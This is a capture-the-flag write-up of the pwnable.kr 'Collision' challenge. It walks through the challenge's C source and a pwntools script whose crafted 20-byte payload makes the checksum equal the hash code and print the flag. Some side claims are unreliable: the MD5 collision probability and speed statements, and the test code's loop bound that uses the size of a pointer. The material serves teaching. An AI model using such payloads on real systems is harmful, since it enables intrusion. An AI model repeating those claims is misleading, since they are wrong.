Collision From Pwnable.kr

Category : Toddler’s Bottle

The second challenge from the binary exploitation series that I’ll be posting. This challenge is Collision and is supposed to be loosely based around the hash collision concept.

Let’s start with the challenge prompt. The challenge prompt talks about the md5 hash collision and we get the login credentials for the server.

Login into the server and copy all the files to your box to analyse them further.

scp -P 2222 col@pwnable.kr:/home/col/col* .

Dry Run

Run the binary to see what it does and how should we start to exploit it.

./col
usage : ./col [passcode]

It asks for a passcode. So let’s give it something.

./col password
passcode length should be 20 bytes

Now it gives a requirement for the password. It should be of 20 bytes. So let’s give it that.

./col `python -c 'print ("A"*20)'`
wrong passcode.

so we now have a basic idea what the binary does.

Hash Collision

A hash collision occurs when two strings produce the same hash. MD5 hash is the fastest and smallest hashing algorithm (16 bytes). The hash collision probability of md5 (1.47x10-29) is quite high when compared to sha1 or sha256 hashing algorithm.

Understanding the source code

Lets analyze the col.c file to understand what the code is exactly doing with our input.

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){ 
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }   
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }   
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }   

    if(hashcode == check_password( argv[1] )){ 
        system("/bin/cat flag");
        return 0;
    }   
    else
        printf("wrong passcode.\n");
    return 0;
}

It looks like there are 2 checks on the given input. 1. If the length is 20 bytes 2. If the check_password(argv[1]) returns a value equal to the hashcode variable.

On passing the 2nd condition the code prints the flag thus the function we need to exploit is the check_password function.

On looking at the code it does a pointer conversion from char* to int*. Then it iterates over the ip pointer and adds all the values to res var.

unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){ 
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }   
    return res;
}

At first glance it looks a little confusing but we will walk through it step by step. The pointer p is of type char* thus it will behave like a string (a string that contains our input). so when we do

int* ip = (int*) p;

Basically what happens is the base address of the p is stored into the ip pointer and it is told to the C compiler that it is an int now. So the 20 byte input is now converted to int values and stored in 5 blocks of 4 bytes (as int has 4 byte size).

Let’s write a simple C code to understand it better. In the code below i am doing the same thing as challenge code but printing out the value that the pointer is pointing to.

#include<stdio.h>
#include<stdlib.h>


void main(int argc, char* argv[]){
    if(argc < 2){ printf("Usage %s [something]\n",argv[0]); exit(0); }
    
    int* p = (int*) argv[1];

    printf("%p\n",*p);


}

we get the following output.

./a.out password
0x73736170

This is actually the memory hex representation of the “pass” i.e first 4 bytes of the input string. Cross check it with a python interpreter.

Since the pointer p points to the base of memory where the string (our input) is stored. We can actually iterate over it to have all the values !

Modify our test C code more.

#include<stdio.h>
#include<stdlib.h>


void main(int argc, char* argv[]){
    if(argc < 2){ printf("Usage %s [something]\n",argv[0]); exit(0); }
    
    int* p = (int*) argv[1];
    
    for(int i=0;i<(sizeof(argv[1])/sizeof(char))/4;i++){
            printf("%p\n",p[i]); }


}

Run it and we get the following output. Which is as expected 2 blocks of 4 byte.

./a.out password
0x73736170
0x64726f77

decode it with a python interpreter.

I know, I know. Playing with memory in C is awesome.

Exploitation

Now we know what is actually happening, let’s exploit it. So the basic idea is the sum of res i.e returned by the function should be equal to var hashcode. If the check is true the flag is outputted.

unsigned long hashcode = 0x21DD09EC;

the value of hashcode is 568134124 in decimal converted with python.

>>> 0x21DD09EC
568134124

Now we need to break it into 5 parts so that they add up to the hashcode and pass the check.

The first mistake that I made is dividing it by 4 and adding 0 as the last part. Nah, it doesn’t work like that as we want it to be interpreted by the memory and 0 as hex memory (32 bit) is b’’. “” is a null byte and denotes the end of string in C thus it will fuckup your payload.

So let’s do some math. What I did is hacky and a better approach can be taken here.

target = 0x21DD09EC ;
i.e 568134124 in decimal

so target / 5 => 113626824.8
and target % 5 => 4

so if we 
target - (113626824 + 4)

remaining value should be divisible with 4.
thus 

target = (target - (113626824 + 4))*4 + (113626824+4)

So now lets write our exploit code in python3 and with help of pwntool.

Note:

Install pwntools with command.

pip install pwntools

The exploit will look like as follows:-

from pwn import *

a = p32(113626824)
b = p32(113626828)
payload = a*4 + b 
print (payload)
p = process(['./col',payload])
p.interactive()

Run it locally to test it out and we get the contents of the dummy flag that we had created. Great ! The exploit works now lets run it on the server.

$ python exploit.py
b'\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06'
[+] Starting local process './col': pid 15003
[*] Switching to interactive mode
this works bruh
[*] Process './col' stopped with exit code 0 (pid 15003)
[*] Got EOF while reading in interactive
$ 
[*] Got EOF while sending in interactive

Copy the string output by the script and run it as follows.